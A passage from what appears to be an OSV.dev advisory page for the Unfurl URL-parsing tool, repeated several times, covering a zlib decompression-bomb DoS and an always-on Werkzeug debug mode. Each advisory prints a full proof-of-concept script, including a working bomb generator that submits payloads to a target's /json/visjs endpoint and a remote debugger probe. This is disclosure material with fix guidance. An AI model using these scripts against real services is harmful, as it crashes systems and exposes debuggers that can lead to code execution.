    inflated_bytes = zlib.decompress(decoded, bufsize=MAX_DECOMPRESSED_SIZE)

Or use streaming decompression with size checks:

    decompressor = zlib.decompressobj()
    chunks = []
    total_size = 0
    for chunk in iter(lambda: compressed_data.read(4096), b''):
        decompressed = decompressor.decompress(chunk)
        total_size += len(decompressed)
        if total_size > MAX_SIZE:
            raise ValueError("Decompressed data too large")
        chunks.append(decompressed)
""")
    else:
        print("\n[*] Target may not be vulnerable or attack was mitigated.")


if __name__ == '__main__':
    main()

Impact

A remote, unauthenticated attacker can cause high memory usage and potentially crash the service. The impact depends on deployment limits (process memory, URL length limits, and request size limits).

Affected versions

20200629

20200630


          20200630.2


          20200630.3


          20200630.4

20200702

20200703

20200729

20200812

20201102

20210308

20210309

+ 15 more

Fixed in

20260405

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-40035 GHSA-vg9h-jx4v-cwx2 Jan 29, 2026

Unfurl's debug mode cannot be disabled due to string config parsing (Werkzeug debugger exposure)

Critical

Network Low None None

Summary

The Unfurl web app enables Flask debug mode even when configuration sets debug = False. The config value is read as a string and passed directly to app.run(debug=...), so any non-empty string evaluates truthy. This leaves the Werkzeug debugger active by default.

Details

unfurl/app.py:web_app() reads debug via config['UNFURL_APP'].get('debug'), which returns a string.
UnfurlApp.__init__ passes that string directly to app.run(debug=unfurl_debug, ...).
If unfurl.ini omits debug, the default argument is the string "True".
As a result, debug mode is effectively always on and cannot be reliably disabled via config.

PoC

Create a local unfurl.ini with debug = False under [UNFURL_APP].
Run the server using unfurl_app (or python -c 'from unfurl.app import web_app; web_app()').
Observe server logs showing Debug mode: on / Debugger is active!.
The included PoC script security_poc/poc_debug_mode.py --spawn automates this check.

PoC Script (inline)

#!/usr/bin/env python3
"""
Unfurl Debug Mode PoC (Corrected)
================================

This PoC demonstrates that Unfurl's Flask debug mode is effectively
**always enabled by default** due to string parsing of the `debug`
config value. Even `debug = False` in `unfurl.ini` evaluates truthy
when passed to `app.run(debug=...)`.

Two modes:
1) --spawn (default): launch a local Unfurl server with debug=False
   in a temp config and inspect logs for "Debug mode: on".
2) --target: attempt a remote indicator check (best-effort; may be silent
   if no exception is triggered).
"""

import argparse
import os
import subprocess
import sys
import tempfile
import textwrap
import time


def run_spawn_check() -> None:
    repo_root = os.path.abspath(os.path.join(os.path.dirname(__file__), '..'))

    ini_contents = textwrap.dedent("""
    [UNFURL_APP]
    host = 127.0.0.1
    port = 5055
    debug = False
    remote_lookups = false

    [API_KEYS]
    bitly =
    macaddress_io =
    """).strip() + "\n"

    with tempfile.TemporaryDirectory() as tmp:
        ini_path = os.path.join(tmp, 'unfurl.ini')
        with open(ini_path, 'w') as f:
            f.write(ini_contents)

        env = os.environ.copy()
        env['PYTHONPATH'] = repo_root

        cmd = [sys.executable, '-c', 'from unfurl.app import web_app; web_app()']
        proc = subprocess.Popen(
            cmd,
            cwd=tmp,
            env=env,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            text=True
        )

        # Allow server to start and emit logs
        time.sleep(2)
        proc.terminate()
        try:
            out, err = proc.communicate(timeout=2)
        except subprocess.TimeoutExpired:
            proc.kill()
            out, err = proc.communicate()

        output = (out or "") + (err or "")

    print("\n[+] Debug mode spawn check")
    print("    Config: debug = False")

    if "Debug mode: on" in output or "Debugger is active" in output:
        print("    ✅ Debug mode is ON despite debug=False (vulnerable)")
    else:
        print("    ⚠️  Debug mode not detected in logs (check output below)")

    if output.strip():
        print("\n--- server output (truncated) ---")
        print("\n".join(output.splitlines()[:15]))
        print("--- end ---")


def run_remote_probe(target: str) -> None:
    import requests

    print("\n[+] Remote debug indicator probe (best-effort)")
    print(f"    Target: {target}")

    # This app does not easily throw exceptions from user input, so
    # absence of indicators does NOT prove debug is off.
    probe_urls = [
        f"{target.rstrip('/')}/__nonexistent__",
    ]

    detected = False
    for url in probe_urls:
        try:
            resp = requests.get(url, timeout=10)
            if "Werkzeug Debugger" in resp.text or "Traceback" in resp.text:
                detected = True
                print("    ✅ Debug indicators found")
                break
        except Exception as e:
            print(f"    ⚠️  Probe failed: {e}")

    if not detected:
        print("    ⚠️  No debug indicators found (this is not definitive)")


def main():
    parser = argparse.ArgumentParser(description='Unfurl debug mode PoC (corrected)')
    parser.add_argument('--spawn', action='store_true', help='Run local spawn check (default)')
    parser.add_argument('--target', help='Target Unfurl URL for remote probe')
    args = parser.parse_args()

    if args.target:
        run_remote_probe(args.target)
    else:
        run_spawn_check()


if __name__ == '__main__':
    main()

Impact

If the service is exposed beyond localhost (bound to 0.0.0.0 or reverse-proxied), an attacker can access the Werkzeug debugger. This can disclose sensitive information and may allow remote code execution if a debugger PIN is obtained. At minimum, stack traces and environment details are exposed on errors.

Affected versions

20200629

20200630


          20200630.2


          20200630.3


          20200630.4

20200702

20200703

20200729

20200812

20201102

20210308

20210309

+ 15 more

References

Updated Jul 08, 2026 · Source: OSV.dev

Nov 08, 2022

20220200 unknown

2 CVEs

CVE-2026-40036 PYSEC-2026-1294 GHSA-h5qv-qjv4-pc5m Jul 07, 2026

Unfurl's unbounded zlib decompression allows decompression bomb DoS

High

Network Low None None

Summary

The compressed data parser uses zlib.decompress() without a maximum output size. A small, highly compressed payload can expand to a very large output, causing memory exhaustion and denial of service.

Details

unfurl/parsers/parse_compressed.py calls zlib.decompress(decoded) with no size limit.
Inputs are accepted from URL components that match base64 patterns.
Highly compressible payloads can expand orders of magnitude larger than their compressed size.

PoC

Generate a payload with security_poc/poc_decompression_bomb.py --generate-only.
The script creates a base64-encoded zlib payload embedded in a URL.
Submitting the URL to /json/visjs can cause the server to allocate large amounts of memory.
The script includes a --test mode but warns it can crash the service.

PoC Script

#!/usr/bin/env python3
"""
Unfurl Decompression Bomb Proof of Concept
==========================================

This PoC demonstrates a Denial of Service vulnerability in Unfurl's
compressed data parsing. The zlib.decompress() call has no size limits,
allowing an attacker to submit small payloads that expand to gigabytes.

Vulnerability Location:
- parse_compressed.py:81-82:
    inflated_bytes = zlib.decompress(decoded)  # No maxsize parameter

Attack Impact:
- Memory exhaustion
- Service crash
- Resource consumption (cloud cost attacks)

Usage:
    python poc_decompression_bomb.py [--target URL] [--size SIZE_MB]
"""

import argparse
import base64
import os
import zlib
import requests
import sys
import time


def create_compression_bomb(target_size_mb: int = 100) -> bytes:
    """
    Create a compression bomb - small compressed data that expands to target_size_mb.

    Compression ratio for zeros can be ~1000:1 or better.
    A 1KB compressed payload can expand to ~1MB.
    A 100KB payload can expand to ~100MB.
    """
    # Create highly compressible data (all zeros)
    target_bytes = target_size_mb * 1024 * 1024
    uncompressed = b'\x00' * target_bytes

    # Compress with maximum compression
    compressed = zlib.compress(uncompressed, 9)

    compression_ratio = len(uncompressed) / len(compressed)

    print(f"[*] Created compression bomb:")
    print(f"    Compressed size: {len(compressed):,} bytes ({len(compressed)/1024:.2f} KB)")
    print(f"    Uncompressed size: {len(uncompressed):,} bytes ({target_size_mb} MB)")
    print(f"    Compression ratio: {compression_ratio:.0f}:1")

    return compressed


def create_nested_bomb(levels: int = 3, base_size_mb: int = 10) -> bytes:
    """
    Create a nested compression bomb (zip bomb style).
    Each level multiplies the final size.

    Warning: This can create VERY large expansions.
    3 levels with 10MB base = 10^3 = 1GB
    4 levels with 10MB base = 10^4 = 10GB
    """
    print(f"[*] Creating nested bomb with {levels} levels, {base_size_mb}MB base")

    # Start with base payload
    data = b'\x00' * (base_size_mb * 1024 * 1024)

    for level in range(levels):
        data = zlib.compress(data, 9)
        print(f"    Level {level + 1}: {len(data):,} bytes")

    theoretical_size = base_size_mb * (1000 ** levels)  # Rough estimate
    print(f"[*] Theoretical expanded size: ~{theoretical_size} MB")

    return data


def create_recursive_quine_bomb() -> bytes:
    """
    Create a recursive decompression scenario.
    When decompressed, the output is valid zlib that can be decompressed again.

    This exploits any recursive decompression logic.
    """
    # This is a simplified version - real quine bombs are more complex
    # The concept: output when decompressed is also valid compressed data

    # Create a pattern that when decompressed resembles compressed data
    # This is primarily theoretical for this vulnerability
    base = b'x\x9c' + (b'\x00' * 1000)  # Fake zlib header + zeros
    return zlib.compress(base * 1000, 9)


def encode_for_unfurl(compressed: bytes) -> str:
    """
    Encode compressed data as base64 for URL inclusion.
    Unfurl's parse_compressed.py will:
    1. Detect base64 pattern
    2. Decode base64
    3. Attempt zlib.decompress() without size limit
    """
    return base64.b64encode(compressed).decode('ascii')


def create_malicious_url(payload: str) -> str:
    """
    Create a URL containing the bomb payload.
    Multiple injection points are possible.
    """
    # As a query parameter value
    return f"https://example.com/page?data={payload}"


def test_vulnerability(target_url: str, payload_url: str, timeout: float = 30.0) -> dict:
    """
    Submit bomb to Unfurl and monitor for DoS indicators.
    """
    api_url = f"{target_url}/json/visjs"
    params = {'url': payload_url}

    result = {
        'submitted': True,
        'timeout': False,
        'error': None,
        'response_time': 0,
        'memory_exhaustion_likely': False
    }

    try:
        start = time.time()
        response = requests.get(api_url, params=params, timeout=timeout)
        result['response_time'] = time.time() - start
        result['status_code'] = response.status_code

        # Check for error responses indicating resource issues
        if response.status_code == 500:
            result['error'] = 'Server error - possible memory exhaustion'
            result['memory_exhaustion_likely'] = True
        elif response.status_code == 503:
            result['error'] = 'Service unavailable - DoS successful'
            result['memory_exhaustion_likely'] = True

    except requests.exceptions.Timeout:
        result['timeout'] = True
        result['error'] = f'Request timed out after {timeout}s - possible DoS'
        result['memory_exhaustion_likely'] = True
    except requests.exceptions.ConnectionError as e:
        result['error'] = f'Connection error: {e} - server may have crashed'
        result['memory_exhaustion_likely'] = True
    except Exception as e:
        result['error'] = str(e)

    return result


def main():
    parser = argparse.ArgumentParser(description='Unfurl Decompression Bomb PoC')
    parser.add_argument('--target', default='http://localhost:5000',
                        help='Target Unfurl instance URL')
    parser.add_argument('--size', type=int, default=100,
                        help='Target decompressed size in MB')
    parser.add_argument('--nested', type=int, default=0,
                        help='Nesting levels for nested bomb (0 = simple bomb)')
    parser.add_argument('--test', action='store_true',
                        help='Actually send the bomb (DANGEROUS)')
    parser.add_argument('--generate-only', action='store_true',
                        help='Only generate payload, do not send')
    parser.add_argument('--output', help='Save payload to file')
    args = parser.parse_args()

    print(f"""
╔═══════════════════════════════════════════════════════════════╗
║           UNFURL DECOMPRESSION BOMB PROOF OF CONCEPT          ║
╠═══════════════════════════════════════════════════════════════╣
║  Target:        {args.target:<45} ║
║  Expanded Size: {args.size:<45} MB ║
║  Nested Levels: {args.nested:<45} ║
╚═══════════════════════════════════════════════════════════════╝
""")

    # Generate the bomb
    if args.nested > 0:
        print(f"\n[!] Creating NESTED bomb - theoretical size could be enormous!")
        print(f"    Be very careful with nested levels > 2")
        if args.nested > 3:
            print(f"[!] {args.nested} levels could produce terabytes of data!")
            confirm = input("    Continue? (yes/no): ")
            if confirm.lower() != 'yes':
                sys.exit(0)
        compressed = create_nested_bomb(args.nested, args.size // (10 ** args.nested) or 1)
    else:
        compressed = create_compression_bomb(args.size)

    # Encode for URL
    b64_payload = encode_for_unfurl(compressed)
    malicious_url = create_malicious_url(b64_payload)

    print(f"\n[*] Payload Statistics:")
    print(f"    Compressed size: {len(compressed):,} bytes")
    print(f"    Base64 size: {len(b64_payload):,} bytes")
    print(f"    URL length: {len(malicious_url):,} bytes")

    # Save payload if requested
    if args.output:
        with open(args.output, 'w') as f:
            f.write(malicious_url)
        print(f"\n[+] Payload saved to: {args.output}")

    # Display truncated payload
    print(f"\n[*] Malicious URL (truncated):")
    print(f"    {malicious_url[:100]}...")
    print(f"    (Full URL is {len(malicious_url):,} characters)")

    # Save full payload for reference
    script_dir = os.path.dirname(os.path.abspath(__file__))
    payload_path = os.path.join(script_dir, 'bomb_payload.txt')
    with open(payload_path, 'w') as f:
        f.write(malicious_url)
    print(f"\n[+] Full payload saved to: {payload_path}")

    # Verify the bomb works locally
    print(f"\n[*] Verifying bomb locally (limited test)...")
    try:
        # Only decompress a small portion to verify it's valid
        test_data = zlib.decompress(compressed, bufsize=1024*1024)  # 1MB max
        print(f"    ✅ Bomb is valid - decompresses to zeros")
    except Exception as e:
        print(f"    ❌ Error: {e}")
        sys.exit(1)

    if args.generate_only:
        print("\n[*] Generate-only mode. Not sending payload.")
        sys.exit(0)

    if not args.test:
        print(f"""
╔═══════════════════════════════════════════════════════════════╗
║                      SAFETY CHECK                             ║
╚═══════════════════════════════════════════════════════════════╝

To actually test this vulnerability, run with --test flag.

Manual testing:
1. Copy the payload URL from {payload_path}
2. Submit it to the target Unfurl instance
3. Monitor server memory usage

Expected behavior if vulnerable:
- Server memory usage spikes dramatically
- Request hangs or times out
- Server may crash or become unresponsive

Mitigation check:
The vulnerability is FIXED if zlib.decompress() is called with
a max_length parameter, e.g.:
    zlib.decompress(data, bufsize=10*1024*1024)  # 10MB limit
""")
        sys.exit(0)

    # Actually test (dangerous!)
    print(f"\n[!] SENDING BOMB TO {args.target}")
    print(f"[!] This may crash the target service!")
    confirm = input("    Type 'CONFIRM' to proceed: ")

    if confirm != 'CONFIRM':
        print("    Aborted.")
        sys.exit(0)

    print(f"\n[*] Submitting payload...")
    result = test_vulnerability(args.target, malicious_url, timeout=60.0)

    print(f"\n[*] Results:")
    print(f"    Timeout: {result['timeout']}")
    print(f"    Response time: {result['response_time']:.2f}s")
    print(f"    Error: {result['error']}")
    print(f"    Memory exhaustion likely: {result['memory_exhaustion_likely']}")

    if result['memory_exhaustion_likely']:
        print(f"""
╔═══════════════════════════════════════════════════════════════╗
║                  VULNERABILITY CONFIRMED                      ║
╚═══════════════════════════════════════════════════════════════╝

The target appears vulnerable to decompression bomb attacks.

Evidence:
- {result['error'] or 'Abnormal response observed'}

Recommendation:
Add size limits to zlib.decompress() calls:

    # Before (vulnerable):
    inflated_bytes = zlib.decompress(decoded)

    # After (fixed):
    MAX_DECOMPRESSED_SIZE = 10 * 1024 * 1024  # 10MB
    inflated_bytes = zlib.decompress(decoded, bufsize=MAX_DECOMPRESSED_SIZE)

Or use streaming decompression with size checks:

    decompressor = zlib.decompressobj()
    chunks = []
    total_size = 0
    for chunk in iter(lambda: compressed_data.read(4096), b''):
        decompressed = decompressor.decompress(chunk)
        total_size += len(decompressed)
        if total_size > MAX_SIZE:
            raise ValueError("Decompressed data too large")
        chunks.append(decompressed)
""")
    else:
        print("\n[*] Target may not be vulnerable or attack was mitigated.")


if __name__ == '__main__':
    main()

Impact

A remote, unauthenticated attacker can cause high memory usage and potentially crash the service. The impact depends on deployment limits (process memory, URL length limits, and request size limits).

Affected versions

20200629

20200630


          20200630.2


          20200630.3


          20200630.4

20200702

20200703

20200729

20200812

20201102

20210308

20210309

+ 15 more

Fixed in

20260405

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-40035 GHSA-vg9h-jx4v-cwx2 Jan 29, 2026

Unfurl's debug mode cannot be disabled due to string config parsing (Werkzeug debugger exposure)

Critical

Network Low None None

Summary

The Unfurl web app enables Flask debug mode even when configuration sets debug = False. The config value is read as a string and passed directly to app.run(debug=...), so any non-empty string evaluates truthy. This leaves the Werkzeug debugger active by default.

Details

unfurl/app.py:web_app() reads debug via config['UNFURL_APP'].get('debug'), which returns a string.
UnfurlApp.__init__ passes that string directly to app.run(debug=unfurl_debug, ...).
If unfurl.ini omits debug, the default argument is the string "True".
As a result, debug mode is effectively always on and cannot be reliably disabled via config.

PoC

Create a local unfurl.ini with debug = False under [UNFURL_APP].
Run the server using unfurl_app (or python -c 'from unfurl.app import web_app; web_app()').
Observe server logs showing Debug mode: on / Debugger is active!.
The included PoC script security_poc/poc_debug_mode.py --spawn automates this check.

PoC Script (inline)

#!/usr/bin/env python3
"""
Unfurl Debug Mode PoC (Corrected)
================================

This PoC demonstrates that Unfurl's Flask debug mode is effectively
**always enabled by default** due to string parsing of the `debug`
config value. Even `debug = False` in `unfurl.ini` evaluates truthy
when passed to `app.run(debug=...)`.

Two modes:
1) --spawn (default): launch a local Unfurl server with debug=False
   in a temp config and inspect logs for "Debug mode: on".
2) --target: attempt a remote indicator check (best-effort; may be silent
   if no exception is triggered).
"""

import argparse
import os
import subprocess
import sys
import tempfile
import textwrap
import time


def run_spawn_check() -> None:
    repo_root = os.path.abspath(os.path.join(os.path.dirname(__file__), '..'))

    ini_contents = textwrap.dedent("""
    [UNFURL_APP]
    host = 127.0.0.1
    port = 5055
    debug = False
    remote_lookups = false

    [API_KEYS]
    bitly =
    macaddress_io =
    """).strip() + "\n"

    with tempfile.TemporaryDirectory() as tmp:
        ini_path = os.path.join(tmp, 'unfurl.ini')
        with open(ini_path, 'w') as f:
            f.write(ini_contents)

        env = os.environ.copy()
        env['PYTHONPATH'] = repo_root

        cmd = [sys.executable, '-c', 'from unfurl.app import web_app; web_app()']
        proc = subprocess.Popen(
            cmd,
            cwd=tmp,
            env=env,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            text=True
        )

        # Allow server to start and emit logs
        time.sleep(2)
        proc.terminate()
        try:
            out, err = proc.communicate(timeout=2)
        except subprocess.TimeoutExpired:
            proc.kill()
            out, err = proc.communicate()

        output = (out or "") + (err or "")

    print("\n[+] Debug mode spawn check")
    print("    Config: debug = False")

    if "Debug mode: on" in output or "Debugger is active" in output:
        print("    ✅ Debug mode is ON despite debug=False (vulnerable)")
    else:
        print("    ⚠️  Debug mode not detected in logs (check output below)")

    if output.strip():
        print("\n--- server output (truncated) ---")
        print("\n".join(output.splitlines()[:15]))
        print("--- end ---")


def run_remote_probe(target: str) -> None:
    import requests

    print("\n[+] Remote debug indicator probe (best-effort)")
    print(f"    Target: {target}")

    # This app does not easily throw exceptions from user input, so
    # absence of indicators does NOT prove debug is off.
    probe_urls = [
        f"{target.rstrip('/')}/__nonexistent__",
    ]

    detected = False
    for url in probe_urls:
        try:
            resp = requests.get(url, timeout=10)
            if "Werkzeug Debugger" in resp.text or "Traceback" in resp.text:
                detected = True
                print("    ✅ Debug indicators found")
                break
        except Exception as e:
            print(f"    ⚠️  Probe failed: {e}")

    if not detected:
        print("    ⚠️  No debug indicators found (this is not definitive)")


def main():
    parser = argparse.ArgumentParser(description='Unfurl debug mode PoC (corrected)')
    parser.add_argument('--spawn', action='store_true', help='Run local spawn check (default)')
    parser.add_argument('--target', help='Target Unfurl URL for remote probe')
    args = parser.parse_args()

    if args.target:
        run_remote_probe(args.target)
    else:
        run_spawn_check()


if __name__ == '__main__':
    main()

Impact

If the service is exposed beyond localhost (bound to 0.0.0.0 or reverse-proxied), an attacker can access the Werkzeug debugger. This can disclose sensitive information and may allow remote code execution if a debugger PIN is obtained. At minimum, stack traces and environment details are exposed on errors.

Affected versions

20200629

20200630


          20200630.2


          20200630.3


          20200630.4

20200702

20200703

20200729

20200812

20201102

20210308

20210309

+ 15 more

References

Updated Jul 08, 2026 · Source: OSV.dev

Feb 10, 2022

20210615 unknown

2 CVEs

CVE-2026-40036 PYSEC-2026-1294 GHSA-h5qv-qjv4-pc5m Jul 07, 2026

Unfurl's unbounded zlib decompression allows decompression bomb DoS

High

Network Low None None

Summary

The compressed data parser uses zlib.decompress() without a maximum output size. A small, highly compressed payload can expand to a very large output, causing memory exhaustion and denial of service.

Details

unfurl/parsers/parse_compressed.py calls zlib.decompress(decoded) with no size limit.
Inputs are accepted from URL components that match base64 patterns.
Highly compressible payloads can expand orders of magnitude larger than their compressed size.

PoC

Generate a payload with security_poc/poc_decompression_bomb.py --generate-only.
The script creates a base64-encoded zlib payload embedded in a URL.
Submitting the URL to /json/visjs can cause the server to allocate large amounts of memory.
The script includes a --test mode but warns it can crash the service.

PoC Script

#!/usr/bin/env python3
"""
Unfurl Decompression Bomb Proof of Concept
==========================================

This PoC demonstrates a Denial of Service vulnerability in Unfurl's
compressed data parsing. The zlib.decompress() call has no size limits,
allowing an attacker to submit small payloads that expand to gigabytes.

Vulnerability Location:
- parse_compressed.py:81-82:
    inflated_bytes = zlib.decompress(decoded)  # No maxsize parameter

Attack Impact:
- Memory exhaustion
- Service crash
- Resource consumption (cloud cost attacks)

Usage:
    python poc_decompression_bomb.py [--target URL] [--size SIZE_MB]
"""

import argparse
import base64
import os
import zlib
import requests
import sys
import time


def create_compression_bomb(target_size_mb: int = 100) -> bytes:
    """
    Create a compression bomb - small compressed data that expands to target_size_mb.

    Compression ratio for zeros can be ~1000:1 or better.
    A 1KB compressed payload can expand to ~1MB.
    A 100KB payload can expand to ~100MB.
    """
    # Create highly compressible data (all zeros)
    target_bytes = target_size_mb * 1024 * 1024
    uncompressed = b'\x00' * target_bytes

    # Compress with maximum compression
    compressed = zlib.compress(uncompressed, 9)

    compression_ratio = len(uncompressed) / len(compressed)

    print(f"[*] Created compression bomb:")
    print(f"    Compressed size: {len(compressed):,} bytes ({len(compressed)/1024:.2f} KB)")
    print(f"    Uncompressed size: {len(uncompressed):,} bytes ({target_size_mb} MB)")
    print(f"    Compression ratio: {compression_ratio:.0f}:1")

    return compressed


def create_nested_bomb(levels: int = 3, base_size_mb: int = 10) -> bytes:
    """
    Create a nested compression bomb (zip bomb style).
    Each level multiplies the final size.

    Warning: This can create VERY large expansions.
    3 levels with 10MB base = 10^3 = 1GB
    4 levels with 10MB base = 10^4 = 10GB
    """
    print(f"[*] Creating nested bomb with {levels} levels, {base_size_mb}MB base")

    # Start with base payload
    data = b'\x00' * (base_size_mb * 1024 * 1024)

    for level in range(levels):
        data = zlib.compress(data, 9)
        print(f"    Level {level + 1}: {len(data):,} bytes")

    theoretical_size = base_size_mb * (1000 ** levels)  # Rough estimate
    print(f"[*] Theoretical expanded size: ~{theoretical_size} MB")

    return data


def create_recursive_quine_bomb() -> bytes:
    """
    Create a recursive decompression scenario.
    When decompressed, the output is valid zlib that can be decompressed again.

    This exploits any recursive decompression logic.
    """
    # This is a simplified version - real quine bombs are more complex
    # The concept: output when decompressed is also valid compressed data

    # Create a pattern that when decompressed resembles compressed data
    # This is primarily theoretical for this vulnerability
    base = b'x\x9c' + (b'\x00' * 1000)  # Fake zlib header + zeros
    return zlib.compress(base * 1000, 9)


def encode_for_unfurl(compressed: bytes) -> str:
    """
    Encode compressed data as base64 for URL inclusion.
    Unfurl's parse_compressed.py will:
    1. Detect base64 pattern
    2. Decode base64
    3. Attempt zlib.decompress() without size limit
    """
    return base64.b64encode(compressed).decode('ascii')


def create_malicious_url(payload: str) -> str:
    """
    Create a URL containing the bomb payload.
    Multiple injection points are possible.
    """
    # As a query parameter value
    return f"https://example.com/page?data={payload}"


def test_vulnerability(target_url: str, payload_url: str, timeout: float = 30.0) -> dict:
    """
    Submit bomb to Unfurl and monitor for DoS indicators.
    """
    api_url = f"{target_url}/json/visjs"
    params = {'url': payload_url}

    result = {
        'submitted': True,
        'timeout': False,
        'error': None,
        'response_time': 0,
        'memory_exhaustion_likely': False
    }

    try:
        start = time.time()
        response = requests.get(api_url, params=params, timeout=timeout)
        result['response_time'] = time.time() - start
        result['status_code'] = response.status_code

        # Check for error responses indicating resource issues
        if response.status_code == 500:
            result['error'] = 'Server error - possible memory exhaustion'
            result['memory_exhaustion_likely'] = True
        elif response.status_code == 503:
            result['error'] = 'Service unavailable - DoS successful'
            result['memory_exhaustion_likely'] = True

    except requests.exceptions.Timeout:
        result['timeout'] = True
        result['error'] = f'Request timed out after {timeout}s - possible DoS'
        result['memory_exhaustion_likely'] = True
    except requests.exceptions.ConnectionError as e:
        result['error'] = f'Connection error: {e} - server may have crashed'
        result['memory_exhaustion_likely'] = True
    except Exception as e:
        result['error'] = str(e)

    return result


def main():
    parser = argparse.ArgumentParser(description='Unfurl Decompression Bomb PoC')
    parser.add_argument('--target', default='http://localhost:5000',
                        help='Target Unfurl instance URL')
    parser.add_argument('--size', type=int, default=100,
                        help='Target decompressed size in MB')
    parser.add_argument('--nested', type=int, default=0,
                        help='Nesting levels for nested bomb (0 = simple bomb)')
    parser.add_argument('--test', action='store_true',
                        help='Actually send the bomb (DANGEROUS)')
    parser.add_argument('--generate-only', action='store_true',
                        help='Only generate payload, do not send')
    parser.add_argument('--output', help='Save payload to file')
    args = parser.parse_args()

    print(f"""
╔═══════════════════════════════════════════════════════════════╗
║           UNFURL DECOMPRESSION BOMB PROOF OF CONCEPT          ║
╠═══════════════════════════════════════════════════════════════╣
║  Target:        {args.target:<45} ║
║  Expanded Size: {args.size:<45} MB ║
║  Nested Levels: {args.nested:<45} ║
╚═══════════════════════════════════════════════════════════════╝
""")

    # Generate the bomb
    if args.nested > 0:
        print(f"\n[!] Creating NESTED bomb - theoretical size could be enormous!")
        print(f"    Be very careful with nested levels > 2")
        if args.nested > 3:
            print(f"[!] {args.nested} levels could produce terabytes of data!")
            confirm = input("    Continue? (yes/no): ")
            if confirm.lower() != 'yes':
                sys.exit(0)
        compressed = create_nested_bomb(args.nested, args.size // (10 ** args.nested) or 1)
    else:
        compressed = create_compression_bomb(args.size)

    # Encode for URL
    b64_payload = encode_for_unfurl(compressed)
    malicious_url = create_malicious_url(b64_payload)

    print(f"\n[*] Payload Statistics:")
    print(f"    Compressed size: {len(compressed):,} bytes")
    print(f"    Base64 size: {len(b64_payload):,} bytes")
    print(f"    URL length: {len(malicious_url):,} bytes")

    # Save payload if requested
    if args.output:
        with open(args.output, 'w') as f:
            f.write(malicious_url)
        print(f"\n[+] Payload saved to: {args.output}")

    # Display truncated payload
    print(f"\n[*] Malicious URL (truncated):")
    print(f"    {malicious_url[:100]}...")
    print(f"    (Full URL is {len(malicious_url):,} characters)")

    # Save full payload for reference
    script_dir = os.path.dirname(os.path.abspath(__file__))
    payload_path = os.path.join(script_dir, 'bomb_payload.txt')
    with open(payload_path, 'w') as f:
        f.write(malicious_url)
    print(f"\n[+] Full payload saved to: {payload_path}")

    # Verify the bomb works locally
    print(f"\n[*] Verifying bomb locally (limited test)...")
    try:
        # Only decompress a small portion to verify it's valid
        test_data = zlib.decompress(compressed, bufsize=1024*1024)  # 1MB max
        print(f"    ✅ Bomb is valid - decompresses to zeros")
    except Exception as e:
        print(f"    ❌ Error: {e}")
        sys.exit(1)

    if args.generate_only:
        print("\n[*] Generate-only mode. Not sending payload.")
        sys.exit(0)

    if not args.test:
        print(f"""
╔═══════════════════════════════════════════════════════════════╗
║                      SAFETY CHECK                             ║
╚═══════════════════════════════════════════════════════════════╝

To actually test this vulnerability, run with --test flag.

Manual testing:
1. Copy the payload URL from {payload_path}
2. Submit it to the target Unfurl instance
3. Monitor server memory usage

Expected behavior if vulnerable:
- Server memory usage spikes dramatically
- Request hangs or times out
- Server may crash or become unresponsive

Mitigation check:
The vulnerability is FIXED if zlib.decompress() is called with
a max_length parameter, e.g.:
    zlib.decompress(data, bufsize=10*1024*1024)  # 10MB limit
""")
        sys.exit(0)

    # Actually test (dangerous!)
    print(f"\n[!] SENDING BOMB TO {args.target}")
    print(f"[!] This may crash the target service!")
    confirm = input("    Type 'CONFIRM' to proceed: ")

    if confirm != 'CONFIRM':
        print("    Aborted.")
        sys.exit(0)

    print(f"\n[*] Submitting payload...")
    result = test_vulnerability(args.target, malicious_url, timeout=60.0)

    print(f"\n[*] Results:")
    print(f"    Timeout: {result['timeout']}")
    print(f"    Response time: {result['response_time']:.2f}s")
    print(f"    Error: {result['error']}")
    print(f"    Memory exhaustion likely: {result['memory_exhaustion_likely']}")

    if result['memory_exhaustion_likely']:
        print(f"""
╔═══════════════════════════════════════════════════════════════╗
║                  VULNERABILITY CONFIRMED                      ║
╚═══════════════════════════════════════════════════════════════╝

The target appears vulnerable to decompression bomb attacks.

Evidence:
- {result['error'] or 'Abnormal response observed'}

Recommendation:
Add size limits to zlib.decompress() calls:

    # Before (vulnerable):
    inflated_bytes = zlib.decompress(decoded)

    # After (fixed):
    MAX_DECOMPRESSED_SIZE = 10 * 1024 * 1024  # 10MB
    inflated_bytes = zlib.decompress(decoded, bufsize=MAX_DECOMPRESSED_SIZE)

Or use streaming decompression with size checks:

    decompressor = zlib.decompressobj()
    chunks = []
    total_size = 0
    for chunk in iter(lambda: compressed_data.read(4096), b''):
        decompressed = decompressor.decompress(chunk)
        total_size += len(decompressed)
        if total_size > MAX_SIZE:
            raise ValueError("Decompressed data too large")
        chunks.append(decompressed)
""")
    else:
        print("\n[*] Target may not be vulnerable or attack was mitigated.")


if __name__ == '__main__':
    main()

Impact

A remote, unauthenticated attacker can cause high memory usage and potentially crash the service. The impact depends on deployment limits (process memory, URL length limits, and request size limits).

Affected versions

20200629

20200630


          20200630.2


          20200630.3


          20200630.4

20200702

20200703

20200729

20200812

20201102

20210308

20210309

+ 15 more

Fixed in

20260405

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-40035 GHSA-vg9h-jx4v-cwx2 Jan 29, 2026

Unfurl's debug mode cannot be disabled due to string config parsing (Werkzeug debugger exposure)

Critical

Network Low None None

Summary

The Unfurl web app enables Flask debug mode even when configuration sets debug = False. The config value is read as a string and passed directly to app.run(debug=...), so any non-empty string evaluates truthy. This leaves the Werkzeug debugger active by default.

Details

unfurl/app.py:web_app() reads debug via config['UNFURL_APP'].get('debug'), which returns a string.
UnfurlApp.__init__ passes that string directly to app.run(debug=unfurl_debug, ...).
If unfurl.ini omits debug, the default argument is the string "True".
As a result, debug mode is effectively always on and cannot be reliably disabled via config.

PoC

Create a local unfurl.ini with debug = False under [UNFURL_APP].
Run the server using unfurl_app (or python -c 'from unfurl.app import web_app; web_app()').
Observe server logs showing Debug mode: on / Debugger is active!.
The included PoC script security_poc/poc_debug_mode.py --spawn automates this check.

PoC Script (inline)

#!/usr/bin/env python3
"""
Unfurl Debug Mode PoC (Corrected)
================================

This PoC demonstrates that Unfurl's Flask debug mode is effectively
**always enabled by default** due to string parsing of the `debug`
config value. Even `debug = False` in `unfurl.ini` evaluates truthy
when passed to `app.run(debug=...)`.

Two modes:
1) --spawn (default): launch a local Unfurl server with debug=False
   in a temp config and inspect logs for "Debug mode: on".
